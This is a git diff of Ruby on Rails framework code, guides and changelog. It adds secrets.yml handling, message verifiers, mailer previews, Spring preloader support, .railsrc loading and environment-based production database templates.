@@ -169,7 +169,7 @@ This will generate the following HTML:
</form>
```
-Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather
+Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
than by the browser's normal submit mechanism.
You probably don't want to just sit there with a filled out `<form>`, though.
@@ -194,7 +194,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like
this:
```erb
-<%= form_tag('/posts', remote: true) %>
+<%= form_tag('/posts', remote: true) do %>
+ ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/posts" data-remote="true" method="post">
+ ...
+</form>
```
Everything else is the same as `form_for`. See its documentation for full
@@ -299,10 +309,10 @@ The `app/views/users/_user.html.erb` partial contains the following:
The top portion of the index page displays the users. The bottom portion
provides a form to create a new user.
-The bottom form will call the create action on the Users controller. Because
+The bottom form will call the `create` action on the `UsersController`. Because
the form's remote option is set to true, the request will be posted to the
-users controller as an Ajax request, looking for JavaScript. In order to
-service that request, the create action of your controller would look like
+`UsersController` as an Ajax request, looking for JavaScript. In order to
+serve that request, the `create` action of your controller would look like
this:
```ruby
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 21ac596ab9..21887c32fe 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,3 +1,88 @@
+* `test_help.rb` now automatically checks/maintains your test datbase
+ schema. (Use `config.active_record.maintain_test_schema = false` to
+ disable.)
+
+ *Jon Leighton*
+
+* Configure `secrets.yml` and `database.yml` to read configuration
+ from the system environment by default for production.
+
+ *José Valim*
+
+* `config.assets.raise_runtime_errors` is set to true by default
+
+ This option has been introduced in
+ [sprockets-rails#100][https://github.com/rails/sprockets-rails/pull/100]
+ and defaults to true in new applications in development.
+
+ *Richard Schneeman*
+
+* Generates `html` and `text` templates for mailers by default.
+
+ *Kassio Borges*
+
+* Move `secret_key_base` from `config/initializers/secret_token.rb`
+ to `config/secrets.yml`.
+
+ `secret_key_base` is now saved in `Rails.application.secrets.secret_key_base`
+ and it fallbacks to the value of `config.secret_key_base` when it is not
+ present in `config/secrets.yml`.
+
+ `config/initializers/secret_token.rb` is not generated by default
+ in new applications.
+
+ *Guillermo Iguaran*
+
+* Generate a new `secrets.yml` file in the `config` folder for new
+ applications. By default, this file contains the application's `secret_key_base`,
+ but it could also be used to store other secrets such as access keys for external
+ APIs.
+
+ The secrets added to this file will be accessible via `Rails.application.secrets`.
+ For example, with the following `secrets.yml`:
+
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ some_api_key: SOMEKEY
+
+ `Rails.application.secrets.some_api_key` will return `SOMEKEY` in the development
+ environment.
+
+ *Guillermo Iguaran*
+
+* Add `ENV['DATABASE_URL']` support in `rails dbconsole`. Fixes #13320.
+
+ *Huiming Teo*
+
+* Add `Application#message_verifier` method to return a message verifier.
+
+ This verifier can be used to generate and verify signed messages in the application.
+
+ message = Rails.application.message_verifier(:sensitive_data).generate('my sensible data')
+ Rails.application.message_verifier(:sensitive_data).verify(message)
+ # => 'my sensible data'
+
+ It is recommended not to use the same verifier for different things, so you can get different
+ verifiers passing the name argument.
+
+ message = Rails.application.message_verifier(:cookies).generate('my sensible cookie data')
+
+ See the `ActiveSupport::MessageVerifier` documentation for more information.
+
+ *Rafael Mendonça França*
+
+* The [Spring application
+ preloader](https://github.com/jonleighton/spring) is now installed
+ by default for new applications. It uses the development group of
+ the Gemfile, so will not be installed in production.
+
+ *Jon Leighton*
+
+* Uses .railsrc while creating new plugin if it is available.
+ Fixes #10700.
+
+ *Prathamesh Sonpatki*
+
* Remove turbolinks when generating a new application based on a template that skips it.
Example:
@@ -148,11 +233,11 @@
*Paul Nikitochkin*
* Remove deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
- favor of `ActiveRecord::Generators::ActiveModel#update`
+ favor of `ActiveRecord::Generators::ActiveModel#update`.
*Vipul A M*
-* Remove deprecated `config.whiny_nils` option
+* Remove deprecated `config.whiny_nils` option.
*Vipul A M*
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index 0d7fb865e2..2950f05b11 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index ea82327365..be7570a5ba 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -25,6 +25,7 @@ module Rails
autoload :Info
autoload :InfoController
+ autoload :MailersController
autoload :WelcomeController
class << self
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index d1e88cfafd..05acd78d98 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,6 +1,8 @@
require 'fileutils'
+require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/object/blank'
require 'active_support/key_generator'
+require 'active_support/message_verifier'
require 'rails/engine'
module Rails
@@ -103,16 +105,17 @@ module Rails
delegate :default_url_options, :default_url_options=, to: :routes
INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
- :routes, :helpers, :app_env_config] # :nodoc:
+ :routes, :helpers, :app_env_config, :secrets] # :nodoc:
def initialize(initial_variable_values = {}, &block)
super()
- @initialized = false
- @reloaders = []
- @routes_reloader = nil
- @app_env_config = nil
- @ordered_railties = nil
- @railties = nil
+ @initialized = false
+ @reloaders = []
+ @routes_reloader = nil
+ @app_env_config = nil
+ @ordered_railties = nil
+ @railties = nil
+ @message_verifiers = {}
add_lib_to_load_path!
ActiveSupport.run_load_hooks(:before_configuration, self)
@@ -149,8 +152,8 @@ module Rails
# number of iterations selected based on consultation with the google security
# team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
@caching_key_generator ||= begin
- if config.secret_key_base
- key_generator = ActiveSupport::KeyGenerator.new(config.secret_key_base, iterations: 1000)
+ if secrets.secret_key_base
+ key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
ActiveSupport::CachingKeyGenerator.new(key_generator)
else
ActiveSupport::LegacyKeyGenerator.new(config.secret_token)
@@ -158,6 +161,31 @@ module Rails
end
end
+ # Returns a message verifier object.
+ #
+ # This verifier can be used to generate and verify signed messages in the application.
+ #
+ # It is recommended not to use the same verifier for different things, so you can get different
+ # verifiers passing the +verifier_name+ argument.
+ #
+ # ==== Parameters
+ #
+ # * +verifier_name+ - the name of the message verifier.
+ #
+ # ==== Examples
+ #
+ # message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
+ # Rails.application.message_verifier('sensitive_data').verify(message)
+ # # => 'my sensible data'
+ #
+ # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+ def message_verifier(verifier_name)
+ @message_verifiers[verifier_name] ||= begin
+ secret = key_generator.generate_key(verifier_name.to_s)
+ ActiveSupport::MessageVerifier.new(secret)
+ end
+ end
+
# Stores some of the Rails initial environment parameters which
# will be used by middlewares and engines to configure themselves.
def env_config
@@ -168,7 +196,7 @@ module Rails
"action_dispatch.parameter_filter" => config.filter_parameters,
"action_dispatch.redirect_filter" => config.filter_redirect,
"action_dispatch.secret_token" => config.secret_token,
- "action_dispatch.secret_key_base" => config.secret_key_base,
+ "action_dispatch.secret_key_base" => secrets.secret_key_base,
"action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
"action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
"action_dispatch.logger" => Rails.logger,
@@ -273,6 +301,27 @@ module Rails
@config = configuration
end
+ def secrets #:nodoc:
+ @secrets ||= begin
+ secrets = ActiveSupport::OrderedOptions.new
+ yaml = config.paths["config/secrets"].first
+ if File.exist?(yaml)
+ require "erb"
+ env_secrets = YAML.load(ERB.new(IO.read(yaml)).result)[Rails.env]
+ secrets.merge!(env_secrets.symbolize_keys) if env_secrets
+ end
+
+ # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
+ secrets.secret_key_base ||= config.secret_key_base
+
+ secrets
+ end
+ end
+
+ def secrets=(secrets) #:nodoc:
+ @secrets = secrets
+ end
+
def to_app #:nodoc:
self
end
@@ -364,8 +413,8 @@ module Rails
end
def validate_secret_key_config! #:nodoc:
- if config.secret_key_base.blank? && config.secret_token.blank?
- raise "You must set config.secret_key_base in your app's config."
+ if secrets.secret_key_base.blank? && config.secret_token.blank?
+ raise "Missing `secret_key_base` for '#{Rails.env}' environment, set this value in `config/secrets.yml`"
end
end
end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index dd0b9c6d70..e902205a13 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -76,6 +76,7 @@ module Rails
@paths ||= begin
paths = super
paths.add "config/database", with: "config/database.yml"
+ paths.add "config/secrets", with: "config/secrets.yml"
paths.add "config/environment", with: "config/environment.rb"
paths.add "lib/templates"
paths.add "log", with: "log/#{Rails.env}.log"
@@ -87,17 +88,23 @@ module Rails
end
end
- # Loads and returns the configuration of the database.
+ # Loads and returns the entire raw configuration of database from
+ # values stored in `config/database.yml`.
def database_configuration
- yaml = paths["config/database"].first
- if File.exist?(yaml)
+ yaml = Pathname.new(paths["config/database"].first || "")
+
+ config = if yaml.exist?
require "erb"
- YAML.load ERB.new(IO.read(yaml)).result
+ YAML.load(ERB.new(yaml.read).result) || {}
elsif ENV['DATABASE_URL']
- nil
+ # Value from ENV['DATABASE_URL'] is set to default database connection
+ # by Active Record.
+ {}
else
raise "Could not load database configuration. No such file - #{yaml}"
end
+
+ config
rescue Psych::SyntaxError => e
raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
"Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
index 570ff02c83..a00afe008c 100644
--- a/railties/lib/rails/application/default_middleware_stack.rb
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -11,11 +11,6 @@ module Rails
def build_stack
ActionDispatch::MiddlewareStack.new.tap do |middleware|
- if rack_cache = load_rack_cache
- require "action_dispatch/http/rack_cache"
- middleware.use ::Rack::Cache, rack_cache
- end
-
if config.force_ssl
middleware.use ::ActionDispatch::SSL, config.ssl_options
end
@@ -26,6 +21,11 @@ module Rails
middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
end
+ if rack_cache = load_rack_cache
+ require "action_dispatch/http/rack_cache"
+ middleware.use ::Rack::Cache, rack_cache
+ end
+
middleware.use ::Rack::Lock unless allow_concurrency?
middleware.use ::Rack::Runtime
middleware.use ::Rack::MethodOverride
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 7a1bb1e25c..5b8509b2e9 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -22,6 +22,8 @@ module Rails
initializer :add_builtin_route do |app|
if Rails.env.development?
app.routes.append do
+ get '/rails/mailers' => "rails/mailers#index"
+ get '/rails/mailers/*path' => "rails/mailers#preview"
get '/rails/info/properties' => "rails/info#properties"
get '/rails/info/routes' => "rails/info#routes"
get '/rails/info' => "rails/info#index"
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
new file mode 100644
index 0000000000..9a29ec21cf
--- /dev/null
+++ b/railties/lib/rails/application_controller.rb
@@ -0,0 +1,16 @@
+class Rails::ApplicationController < ActionController::Base # :nodoc:
+ self.view_paths = File.expand_path('../templates', __FILE__)
+ layout 'application'
+
+ protected
+
+ def require_local!
+ unless local_request?
+ render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
+ end
+ end
+
+ def local_request?
+ Rails.application.config.consider_all_requests_local || request.local?
+ end
+end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index 3e4cc787c4..f6d8aec30d 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -81,14 +81,11 @@ module Rails
def config
@config ||= begin
- cfg = begin
- YAML.load(ERB.new(IO.read("config/database.yml")).result)
- rescue SyntaxError, StandardError
- require APP_PATH
- Rails.application.config.database_configuration
+ if configurations[environment].blank?
+ raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
+ else
+ configurations[environment]
end
-
- cfg[environment] || abort("No database is configured for the environment '#{environment}'")
end
end
@@ -102,6 +99,12 @@ module Rails
protected
+ def configurations
+ require APP_PATH
+ ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+ ActiveRecord::Base.configurations
+ end
+
def parse_arguments(arguments)
options = {}
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
index 837fe0ec10..f7a0b99005 100644
--- a/railties/lib/rails/commands/plugin.rb
+++ b/railties/lib/rails/commands/plugin.rb
@@ -2,6 +2,20 @@ if ARGV.first != "new"
ARGV[0] = "--help"
else
ARGV.shift
+ unless ARGV.delete("--no-rc")
+ customrc = ARGV.index{ |x| x.include?("--rc=") }
+ railsrc = if customrc
+ File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+ else
+ File.join(File.expand_path("~"), '.railsrc')
+ end
+ if File.exist?(railsrc)
+ extra_args_string = File.read(railsrc)
+ extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ ARGV.insert(1, *extra_args)
+ end
+ end
end
require 'rails/generators'
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index dd2ee5639e..3a71f8d3f8 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -9,7 +9,7 @@ if ARGV.first.nil?
end
ARGV.clone.options do |opts|
- opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
+ opts.banner = "Usage: rails runner [options] [<'Some.ruby(code)'> | <filename.rb>]"
opts.separator ""
@@ -22,14 +22,23 @@ ARGV.clone.options do |opts|
opts.on("-h", "--help",
"Show this help message.") { $stdout.puts opts; exit }
+ opts.separator ""
+ opts.separator "Examples: "
+
+ opts.separator " rails runner 'puts Rails.env'"
+ opts.separator " This runs the code `puts Rails.env` after loading the app"
+ opts.separator ""
+ opts.separator " rails runner path/to/filename.rb"
+ opts.separator " This runs the Ruby file located at `path/to/filename.rb` after loading the app"
+
if RbConfig::CONFIG['host_os'] !~ /mswin|mingw/
opts.separator ""
opts.separator "You can also use runner as a shebang line for your executables:"
- opts.separator "-------------------------------------------------------------"
- opts.separator "#!/usr/bin/env #{File.expand_path($0)} runner"
+ opts.separator " -------------------------------------------------------------"
+ opts.separator " #!/usr/bin/env #{File.expand_path($0)} runner"
opts.separator ""
- opts.separator "Product.all.each { |p| p.price *= 2 ; p.save! }"
- opts.separator "-------------------------------------------------------------"
+ opts.separator " Product.all.each { |p| p.price *= 2 ; p.save! }"
+ opts.separator " -------------------------------------------------------------"
end
opts.order! { |o| code_or_file ||= o } rescue retry
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 54a0f1c002..5c54cdaa70 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -2,7 +2,6 @@ require 'rails/railtie'
require 'rails/engine/railties'
require 'active_support/core_ext/module/delegation'
require 'pathname'
-require 'rbconfig'
module Rails
# <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index 366c72ebaa..afdbf5c241 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -9,7 +9,7 @@ module Rails
@in_group = nil
end
- # Adds an entry into Gemfile for the supplied gem.
+ # Adds an entry into +Gemfile+ for the supplied gem.
#
# gem "rspec", group: :test
# gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
@@ -61,7 +61,7 @@ module Rails
end
end
- # Add the given source to Gemfile
+ # Add the given source to +Gemfile+
#
# add_source "http://gems.github.com/"
def add_source(source, options={})
@@ -72,10 +72,10 @@ module Rails
end
end
- # Adds a line inside the Application class for config/application.rb.
+ # Adds a line inside the Application class for <tt>config/application.rb</tt>.
#
- # If options :env is specified, the line is appended to the corresponding
- # file in config/environments.
+ # If options <tt>:env</tt> is specified, the line is appended to the corresponding
+ # file in <tt>config/environments</tt>.
#
# environment do
# "config.autoload_paths += %W(#{config.root}/extras)"
@@ -116,7 +116,7 @@ module Rails
end
end
- # Create a new file in the vendor/ directory. Code can be specified
+ # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
# in a block or a data string can be given.
#
# vendor("sekrit.rb") do
@@ -143,7 +143,7 @@ module Rails
create_file("lib/#{filename}", data, verbose: false, &block)
end
- # Create a new Rakefile with the provided code (either in a block or a string).
+ # Create a new +Rakefile+ with the provided code (either in a block or a string).
#
# rakefile("bootstrap.rake") do
# project = ask("What is the UNIX name of your project?")
@@ -213,7 +213,7 @@ module Rails
in_root { run("#{extify(:capify)} .", verbose: false) }
end
- # Make an entry in Rails routing file config/routes.rb
+ # Make an entry in Rails routing file <tt>config/routes.rb</tt>
#
# route "root 'welcome#index'"
def route(routing_code)
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 2022b4ed3d..4988602aea 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -14,6 +14,7 @@ module Rails
DATABASES.concat(JDBC_DATABASES)
attr_accessor :rails_template
+ attr_accessor :app_template
add_shebang_option!
argument :app_path, type: :string
@@ -26,6 +27,9 @@ module Rails
class_option :template, type: :string, aliases: '-m',
desc: "Path to some #{name} template (can be a filesystem path or URL)"
+ class_option :app_template, type: :string, aliases: '-n',
+ desc: "Path to some #{name} template (can be a filesystem path or URL)"
+
class_option :skip_gemfile, type: :boolean, default: false,
desc: "Don't create a Gemfile"
@@ -47,6 +51,9 @@ module Rails
class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
desc: 'Skip Sprockets files'
+ class_option :skip_spring, type: :boolean, default: false,
+ desc: "Don't install Spring application preloader"
+
class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
@@ -109,6 +116,7 @@ module Rails
jbuilder_gemfile_entry,
sdoc_gemfile_entry,
platform_dependent_gemfile_entry,
+ spring_gemfile_entry,
@extra_entries].flatten.find_all(&@gem_filter)
end
@@ -118,6 +126,10 @@ module Rails
}.curry[@gem_filter]
end
+ def remove_gem(name)
+ add_gem_entry_filter { |gem| gem.name != name }
+ end
+
def builder
@builder ||= begin
builder_class = get_builder_class
@@ -158,6 +170,10 @@ module Rails
@target.send :add_gem_entry_filter, *args, &block
end
+ def remove_gem(*args, &block)
+ @target.send :remove_gem, *args, &block
+ end
+
def method_missing(name, *args, &block)
@commands << [name, args, block]
end
@@ -176,7 +192,8 @@ module Rails
def apply_rails_template
@recorder = TemplateRecorder.new self
- apply(rails_template, target: @recorder) if rails_template
+ apply(rails_template, target: self) if rails_template
+ apply(app_template, target: @recorder) if app_template
rescue Thor::Error, LoadError, Errno::ENOENT => e
raise Error, "The template [#{rails_template}] could not be loaded. Error: #{e}"
end
@@ -206,13 +223,18 @@ module Rails
def set_default_accessors!
self.destination_root = File.expand_path(app_path, destination_root)
- self.rails_template = case options[:template]
- when /^https?:\/\//
- options[:template]
- when String
- File.expand_path(options[:template], Dir.pwd)
- else
- options[:template]
+ self.rails_template = expand_template options[:template]
+ self.app_template = expand_template options[:app_template]
+ end
+
+ def expand_template(name)
+ case name
+ when /^https?:\/\//
+ name
+ when String
+ File.expand_path(name, Dir.pwd)
+ else
+ name
end
end
@@ -304,7 +326,7 @@ module Rails
'Use SCSS for stylesheets')
else
gems << GemfileEntry.version('sass-rails',
- '~> 4.0.0.rc1',
+ '~> 4.0.1',
'Use SCSS for stylesheets')
end
@@ -325,7 +347,7 @@ module Rails
def jbuilder_gemfile_entry
comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder'
- GemfileEntry.version('jbuilder', '~> 1.2', comment)
+ GemfileEntry.version('jbuilder', '~> 2.0', comment)
end
def sdoc_gemfile_entry
@@ -365,6 +387,12 @@ module Rails
end
end
+ def spring_gemfile_entry
+ return [] unless spring_install?
+ comment = 'Spring speeds up development by keeping your application running in the background. Read more: https://github.com/jonleighton/spring'
+ GemfileEntry.new('spring', nil, comment, group: :development)
+ end
+
def bundle_command(command)
say_status :run, "bundle #{command}"
@@ -388,8 +416,22 @@ module Rails
end
end
+ def bundle_install?
+ !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+ end
+
+ def spring_install?
+ !options[:skip_spring] && Process.respond_to?(:fork)
+ end
+
def run_bundle
- bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+ bundle_command('install') if bundle_install?
+ end
+
+ def generate_spring_binstubs
+ if bundle_install? && spring_install?
+ bundle_command("exec spring binstub --all")
+ end
end
def empty_directory_with_keep_file(destination, config = {})
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index cf33b13fd8..67bab96a22 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -296,7 +296,7 @@ module Rails
end
end
- # Return the default value for the option name given doing a lookup in
+ # Returns the default value for the option name given doing a lookup in
# Rails::Generators.options.
def self.default_value_for_option(name, options)
default_for_option(Rails::Generators.options, name, options, options[:default])
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
index 73e986ee7f..cfd77097d5 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/rails/generators/erb.rb
@@ -5,6 +5,10 @@ module Erb # :nodoc:
class Base < Rails::Generators::NamedBase #:nodoc:
protected
+ def formats
+ format
+ end
+
def format
:html
end
@@ -13,7 +17,7 @@ module Erb # :nodoc:
:erb
end
- def filename_with_extensions(name)
+ def filename_with_extensions(name, format)
[name, format, handler].compact.join(".")
end
end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
index 5f06734ab8..e62aece7c5 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -11,8 +11,10 @@ module Erb # :nodoc:
actions.each do |action|
@action = action
- @path = File.join(base_path, filename_with_extensions(action))
- template filename_with_extensions(:view), @path
+ Array(formats).each do |format|
+ @path = File.join(base_path, filename_with_extensions(action, format))
+ template filename_with_extensions(:view, format), @path
+ end
end
end
end
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
index 7bcac30dde..66b17bd10e 100644
--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -5,8 +5,8 @@ module Erb # :nodoc:
class MailerGenerator < ControllerGenerator # :nodoc:
protected
- def format
- :text
+ def formats
+ [:text, :html]
end
end
end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
new file mode 100644
index 0000000000..8bb7c2b768
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
@@ -0,0 +1,5 @@
+<h1><%= class_name %>#<%= @action %></h1>
+
+<p>
+ <%%= @greeting %>, find me in app/views/<%= @path %>
+</p>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
index bacbc2d280..b219f459ac 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -14,8 +14,10 @@ module Erb # :nodoc:
def copy_view_files
available_views.each do |view|
- filename = filename_with_extensions(view)
- template filename, File.join("app/views", controller_file_path, filename)
+ Array(formats).each do |format|
+ filename = filename_with_extensions(view, format)
+ template filename, File.join("app/views", controller_file_path, filename)
+ end
end
end
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index a2023886cd..d2eca5b2fb 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -78,6 +78,7 @@ module Rails
template "routes.rb"
template "application.rb"
template "environment.rb"
+ template "secrets.yml"
directory "environments"
directory "initializers"
@@ -225,18 +226,19 @@ module Rails
build(:vendor)
end
- def finish_template
- build(:leftovers)
- end
-
def delete_js_folder_skipping_javascript
if options[:skip_javascript]
remove_dir 'app/assets/javascripts'
end
end
+ def finish_template
+ build(:leftovers)
+ end
+
public_task :run_bundle
public_task :replay_template
+ public_task :generate_spring_binstubs
protected
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index ac41a0cadb..16fe50bab8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -15,7 +15,7 @@ require "action_mailer/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+Bundler.require(*Rails.groups)
module <%= app_const_base %>
class Application < Rails::Application
@@ -30,10 +30,5 @@ module <%= app_const_base %>
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
-<% if options.skip_sprockets? -%>
-
- # Disable the asset pipeline.
- config.assets.enabled = false
-<% end -%>
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
index c6dfd50d40..138e3a8664 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -23,6 +23,7 @@ test:
<<: *default
database: <%= app_name %>_test
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- database: <%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
index fe53cd0ea2..2cdb592eeb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -61,6 +61,7 @@ test:
<<: *default
database: <%= app_name[0,4] %>_tst
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- database: <%= app_name[0,8] %>
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
index be1dae332f..cefd30d519 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -53,6 +53,7 @@ test:
<<: *default
url: jdbc:db://localhost/<%= app_name %>_test
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- url: jdbc:db://localhost/<%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
index 26e2a5976c..d31761349c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -26,6 +26,6 @@ test:
<<: *default
database: <%= app_name %>_test
-production:
- <<: *default
- database: <%= app_name %>_production
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
+production: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
index ccd44cf54b..0d248dc197 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -6,13 +6,20 @@
default: &default
adapter: postgresql
encoding: unicode
- username: <%= app_name %>
- password:
development:
<<: *default
database: <%= app_name %>_development
+ # The specified database role being used to connect to postgres.
+ # To create additional roles in postgres see `$ createuser --help`.
+ # When left blank, postgres will use the default role. This is
+ # the same name as the operating system user that initialized the database.
+ #username: <%= app_name %>
+
+ # The password associated with the postgres role (username).
+ #password:
+
# Connect on a TCP socket. Omitted by default since the client uses a
# domain socket that doesn't need configuration. Windows does not have
# domain sockets, so uncomment these lines.
@@ -35,6 +42,7 @@ test:
<<: *default
database: <%= app_name %>_test
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- database: <%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
